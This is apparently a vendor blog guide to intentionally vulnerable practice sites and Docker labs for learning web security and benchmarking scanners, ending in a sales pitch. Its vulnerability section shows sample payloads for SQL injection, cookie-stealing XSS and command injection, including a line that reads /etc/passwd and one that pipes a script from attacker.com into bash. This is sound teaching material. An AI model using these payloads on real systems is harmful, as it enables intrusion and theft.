Vulnerable Websites for Testing Online: No-Install Practice Labs

Looking for a vulnerable website for testing your security skills or benchmarking a scanner? The options split into two categories: online (browser-based) labs that need zero setup, and locally-hosted applications you run in Docker that give you full control for SAST and DAST tool testing.

This guide covers both — with direct links, clear use cases, and guidance on which one to start with depending on your goal.

Online Vulnerable Websites (No Install Required)

These platforms run in your browser. No Docker, no VM, no command line required.

1. PortSwigger Web Security Academy

URL: portswigger.net/web-security
Cost: Free
Best for: Structured learning, complete beginners through advanced practitioners

PortSwigger Web Security Academy is the highest-quality free web security training resource available. Each topic includes browser-based labs that launch a vulnerable web application in a sandbox — you attack it directly through your browser, guided by detailed explanations.

What it covers:

SQL injection (15+ labs — basic, blind boolean, blind time-based, out-of-band)
Cross-Site Scripting (30+ labs — reflected, stored, DOM-based, and complex filter bypasses)
CSRF, SSRF, XXE, CORS
HTTP request smuggling
Authentication vulnerabilities
Business logic flaws
Server-side template injection (SSTI)
Prototype pollution
Web cache poisoning
OAuth 2.0 attacks
JWT attacks
GraphQL injection

Why it’s the best browser-based option: Every lab tests one specific vulnerability class in a realistic but controlled context. The explanatory content is among the most technically accurate in the industry. You don’t need Burp Suite (the target company’s commercial product) to complete the free labs, though it helps.

Limitation: Labs are sandboxed — you can’t point a DAST scanner at them for automated testing.

2. HackTheBox Web Challenges

URL: hackthebox.com
Cost: Free tier (some challenges) / Pro subscription for full access
Best for: Advanced practitioners, real-world vulnerability patterns

HackTheBox web challenges simulate realistic vulnerabilities found in production applications — not toy SQL injection examples. Challenges include real CVE-style vulnerabilities in real frameworks, logic flaws, and multi-step chained attack scenarios.

What makes it different:

Challenges often involve vulnerabilities in real-world frameworks (Jinja2 SSTI, Smarty SSTI, Pebble SSTI)
Deserialization attacks across PHP, Java, and Python
Race conditions, SSRF chained with internal service exploitation
JWT manipulation and algorithm confusion
Server-side prototype pollution

Challenges are browser-accessible via VPN (not quite “no install” — you need the HackTheBox VPN client), but the vulnerable applications themselves run on HackTheBox servers.

3. TryHackMe — Web Security Rooms

URL: tryhackme.com
Cost: Free tier / £10.99/month Pro
Best for: Beginners to intermediate, guided step-by-step learning

TryHackMe offers guided “rooms” covering individual web vulnerability classes. Each room walks you through a vulnerable application with step-by-step instructions and explanations. The platform handles all infrastructure — you connect via browser-based VPN.

Recommended beginner rooms:

OWASP Top 10 (2021)
SQL Injection
XSS (Cross-Site Scripting)
CSRF
File Inclusion
Burp Suite Basics

4. OWASP WebGoat (Browser-Accessible Hosted Version)

URL: owasp.org/www-project-webgoat
Cost: Free

The OWASP Foundation periodically hosts a demo instance of WebGoat. Note that public hosted instances should be treated as shared environments — do not enter real personal data. Running your own Docker instance (covered below) is always preferable for SAST/DAST testing.

5. Root Me

URL: root-me.org
Cost: Free
Best for: CTF-style web challenges, intermediate learners

Root Me hosts 450+ security challenges in a browser-based environment, with a large number covering web application vulnerabilities. Categories include SQL injection, XSS, file upload, path traversal, server-side includes, and more advanced web attack techniques.

Locally-Hosted Vulnerable Websites for Testing

For SAST source code scanning or DAST scanner benchmarking, you need a locally-hosted application — something you can point a scanner at and control completely. These run in Docker and take under 2 minutes to start.

DVWA — Damn Vulnerable Web Application

Language: PHP/MySQL
Best for: OWASP Top 10 fundamentals, PHP SAST benchmarking

DVWA is the most widely used locally-hosted vulnerable web application. Three difficulty levels (Low, Medium, High) with a code viewer showing exactly what makes each page vulnerable.

docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Open http://localhost/
# Default login: admin / password
# Click "Create / Reset Database" before first login

Vulnerability coverage:

SQL Injection (basic and blind)
Command Injection
Cross-Site Scripting (Reflected and Stored)
CSRF
Unrestricted File Upload
Local File Inclusion (LFI) / Remote File Inclusion (RFI)
Brute Force
Weak Session IDs

Why DVWA is the standard scanner benchmark: The Low difficulty presents every vulnerability in completely unobfuscated form. A SAST tool that can’t find SQL injection in DVWA’s vulnerabilities/sqli/source/low.php — a file with three lines of directly concatenated query — will miss similar patterns in production code.

OWASP Juice Shop

Language: Node.js + Angular
Best for: DAST testing, modern SPA + REST API architecture, CTF events

Juice Shop is the most realistic locally-hosted vulnerable web application — a modern single-page e-commerce application with 100+ security challenges and a built-in scoreboard.

docker run --rm -p 3000:3000 bkimminich/juice-shop
# Open http://localhost:3000/
# Scoreboard: http://localhost:3000/#/score-board

Why Juice Shop is the DAST benchmark: Its Angular SPA + REST API architecture is the most representative of modern production web applications among all vulnerable apps. Authenticated endpoints, JWT-based sessions, file upload, admin interface, and a full API surface make it the best single application for DAST scanner evaluation.

WebGoat

Language: Java/Spring
Best for: Java developer training, Java SAST benchmarking

docker run -it -p 8080:8080 -p 9090:9090 webgoat/webgoat
# Open http://localhost:8080/WebGoat

bWAPP

Language: PHP
Best for: Maximum vulnerability breadth (100+ vulnerability types)

docker run -d -p 80:80 raesene/bwapp
# Open http://localhost/bWAPP/install.php first
# Then http://localhost/bWAPP/login.php (bee / bug)

Which Vulnerable Website Should You Use?

The right choice depends entirely on what you’re trying to accomplish:

Goal	Best Option
Learn web security from scratch	PortSwigger Web Security Academy (free, browser-based)
Guided step-by-step for beginners	TryHackMe Web rooms
Advanced real-world attack patterns	HackTheBox web challenges
PHP SAST tool benchmarking	DVWA (local Docker)
Java SAST tool benchmarking	WebGoat (local Docker)
DAST scanner testing against modern SPA	OWASP Juice Shop (local Docker)
Maximum vulnerability coverage	bWAPP (local Docker)
CTF team training event	OWASP Juice Shop with CTF mode

For Security Tool Testing

If your goal is evaluating a SAST or DAST scanner — not learning — you need local Docker-based applications where you control the target:

SAST benchmarking: Clone DVWA or WebGoat from GitHub, scan the source with your SAST tool, verify it finds the known SQL injection in /vulnerabilities/sqli/source/low.php (DVWA) or the known JDBC injection in WebGoat
DAST benchmarking: Run Juice Shop or DVWA locally, configure your scanner with credentials, verify it finds XSS and SQLi in the authenticated scan

Browser-based platforms like PortSwigger Academy are sandboxed and cannot be scanned by external DAST tools.

Most Common Vulnerabilities You’ll Practice

Every vulnerable website for testing covers a core set of vulnerability classes that map directly to real-world enterprise application weaknesses.

SQL Injection (CWE-89)

The classic injection vulnerability — user input concatenated directly into a SQL query:

// DVWA low.php — unobfuscated for clarity
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE user_id = '$id'";
// Attack: ?id=1' OR '1'='1
// Result: returns all user records

In production, this appears as:

Legacy PHP applications using mysql_query() with $_GET or $_POST parameters
ASP.NET applications using SqlCommand with string concatenation
Java applications using Statement.execute() instead of PreparedStatement

Fix everywhere: Parameterized queries / prepared statements.

Cross-Site Scripting (CWE-79)

User input rendered in a browser context without encoding:

// Reflected XSS — search result page
document.getElementById('results').innerHTML = 
  'You searched for: ' + location.search.split('q=')[1];
// Attack: ?q=<img src=x onerror=alert(document.cookie)>

In production: comment sections, user profile fields, search results, error messages that echo back user input.

Fix: Context-aware output encoding (HTML entity encoding for HTML context, JavaScript string escaping for JS context, URL encoding for URL context).

Command Injection (CWE-78)

User input passed to a system shell without sanitization:

// Command injection — ping utility
$target = $_POST['host'];
echo shell_exec("ping -c 4 " . $target);
// Attack: 127.0.0.1; cat /etc/passwd
// Or: 127.0.0.1 && wget http://attacker.com/shell.sh | bash

In production: file conversion utilities, network diagnostic tools, backup scripts that take filename input from a web form.

Fix: Avoid shell execution entirely. If unavoidable, use an argument array (not a command string) and validate input against a strict allowlist.

Broken Authentication

Juice Shop has multiple authentication challenges:

Login bypass via SQL injection in the email field
Password reset flaws (guessable security questions, user enumeration)
JWT algorithm confusion (alg: none, RS256→HS256 confusion)
No brute-force protection

In production: APIs with JWT tokens using insecure default configurations, password reset flows with predictable tokens, missing rate limiting on login endpoints.

Insecure Direct Object Reference / IDOR (CWE-639)

APIs that expose numeric IDs for user-specific resources, with no verification that the requesting user owns the resource:

// GET /api/orders/12345
// If user 2 can access user 1's order by changing the ID — that's IDOR

In production: IDOR is the most common API vulnerability (OWASP API Security A1 — BOLA). Every API with resource IDs should verify ownership before returning data.

How to Get Maximum Value from Vulnerable Website Practice

Start with Learning, Then Progress to Tooling

Week 1–2: PortSwigger Academy — SQL injection module, XSS module. Understand how the attacks work before using tools.
Week 3–4: DVWA (Low difficulty) — manually exploit each vulnerability class without hints.
Week 5–6: Run a DAST scanner against DVWA or Juice Shop locally. Compare what the scanner finds versus what you found manually.
Week 7+: HackTheBox web challenges for realistic, unguided practice.

Use Multiple Applications

No single vulnerable application covers everything you need:

Juice Shop for realistic modern web app testing (DAST, JWT, business logic)
DVWA for PHP source code benchmarking (SAST, classic OWASP Top 10)
PortSwigger Academy for structured learning of advanced techniques (HTTP smuggling, prototype pollution)

Document What Scanners Find vs. Miss

When you run a DAST scanner against Juice Shop or DVWA, document:

Which vulnerability classes did the scanner find automatically?
Which required authenticated scanning to detect?
What did the scanner miss that you found manually?

This gap analysis tells you what manual testing effort is needed beyond automated scanning — critical before deploying any scanner against production code.

Free Vulnerable Websites vs. Paid Platforms

Platform	Cost	Install Required	DAST Scannable	Best Use
PortSwigger Academy	Free	No	No	Structured learning
TryHackMe	Free / £11/mo	VPN only	No	Guided beginners
HackTheBox	Free / ~$14/mo	VPN only	No	Advanced CTF
Root Me	Free	No	No	CTF challenges
DVWA	Free	Docker	✅ Yes	PHP SAST/DAST benchmark
Juice Shop	Free	Docker	✅ Yes	Modern DAST benchmark
WebGoat	Free	Docker	✅ Yes	Java SAST benchmark
bWAPP	Free	Docker	✅ Yes	Breadth coverage

All of the applications listed in this guide are free. The locally-hosted options require Docker Desktop (also free) and run on any modern laptop with 4+ GB of RAM.

Frequently Asked Questions

Can I use vulnerable websites for testing without any security knowledge?

Yes — PortSwigger Web Security Academy and TryHackMe are specifically designed for people with zero security background. Both include full explanations of what each vulnerability is, why it’s dangerous, and how to exploit it. Start with PortSwigger’s SQL injection module for the most structured introduction.

Are vulnerable websites for testing legal to attack?

Yes — these applications exist specifically to be attacked. The key rule: run them in your own isolated environment (local Docker container or a private VM). Never attack a vulnerable application running on someone else’s server without explicit authorization. Public instances of DVWA, WebGoat, or similar apps on shared hosting are not yours to probe.

What’s the difference between a vulnerable website and a CTF?

Capture the Flag (CTF) competitions are timed competitive events where you solve security challenges to earn points. Vulnerable websites for testing are persistent environments you can attack at your own pace, reset, and rerun as many times as needed. Juice Shop supports both modes: it can be used as a self-paced learning environment or configured in CTF mode for a competitive event.

Which is better: browser-based labs or local Docker apps?

Depends on your goal. Browser-based labs (PortSwigger, TryHackMe) are better for learning because they handle all infrastructure and focus you on the vulnerability. Local Docker apps (DVWA, Juice Shop) are better for scanner testing because you can point DAST tools at them, access source code for SAST analysis, and control the environment completely. Most practitioners use both.

Do these vulnerable websites cover OWASP Top 10?

Yes. DVWA, Juice Shop, WebGoat, and bWAPP all cover the OWASP Top 10 Web Application Security Risks. PortSwigger Web Security Academy covers every OWASP Top 10 category with dedicated labs, plus advanced topics that the Top 10 doesn’t cover (HTTP smuggling, web cache poisoning, prototype pollution).

Benchmark a Real Scanner Against a Vulnerable Website

The most practical way to evaluate a DAST scanner is to run it against DVWA or Juice Shop before using it on production code. A scanner that misses SQL injection in DVWA’s Low difficulty — where the vulnerable function is completely unobfuscated — will miss similar patterns in your application.

Offensive360 DAST and SAST are benchmarked against DVWA, Juice Shop, and WebGoat on every release. You can verify performance yourself:

One-time DAST scan of your web application ($500) — authenticated scanning with results within 48 hours, no subscription required
One-time SAST scan of your source code ($500) — full static analysis across 60+ languages
Book a live demo — see a scan against a deliberately vulnerable application or your own codebase